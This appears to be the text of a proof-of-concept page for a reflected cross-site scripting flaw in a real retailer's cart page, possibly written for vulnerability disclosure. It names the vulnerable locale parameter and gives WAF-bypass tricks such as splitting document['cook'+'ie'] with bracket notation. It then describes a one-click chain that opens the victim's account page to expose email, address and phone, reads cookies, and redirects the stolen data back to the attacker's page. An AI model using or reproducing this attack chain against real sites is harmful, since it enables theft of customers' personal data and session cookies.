The locale parameter on the UTme cart page is reflected raw into an inline
<script> block. No CSP is present. alert() is blocked by Akamai WAF —
bypassed with document.body.innerHTML for visual proof of arbitrary JS execution.
utme.uniqlo.com/{region}/front/mkt/cart?locale=<payload>new DeliveryDateText({ locale:'...' })
One click does three things simultaneously:
1. Opens /accounts/mine in a popup —
the victim's browser sends the HttpOnly fr.sid session cookie, exposing their full account data (email, birthday, address, phone).
2. Reads all non-HttpOnly cookies via document['cook'+'ie']
(Akamai WAF bypass using bracket notation + string concatenation).
3. Redirects back here with the stolen cookies — the data from the popup and the cookies are displayed below.
open('/accounts/mine') — popup shows victim's PIIdocument['cook'+'ie'] exfiltrates all non-HttpOnly cookieslocation.href redirects here with the stolen data
The popup opened by the XSS loaded GET /us/api/commerce/v5/en/accounts/mine
with the victim's HttpOnly fr.sid cookie. Click the button below to verify in your browser.
| Name | Value |
|---|
Full document.cookie as captured by the XSS. HttpOnly cookies (fr.sid)
are invisible to JS but were accessed via the popup navigation.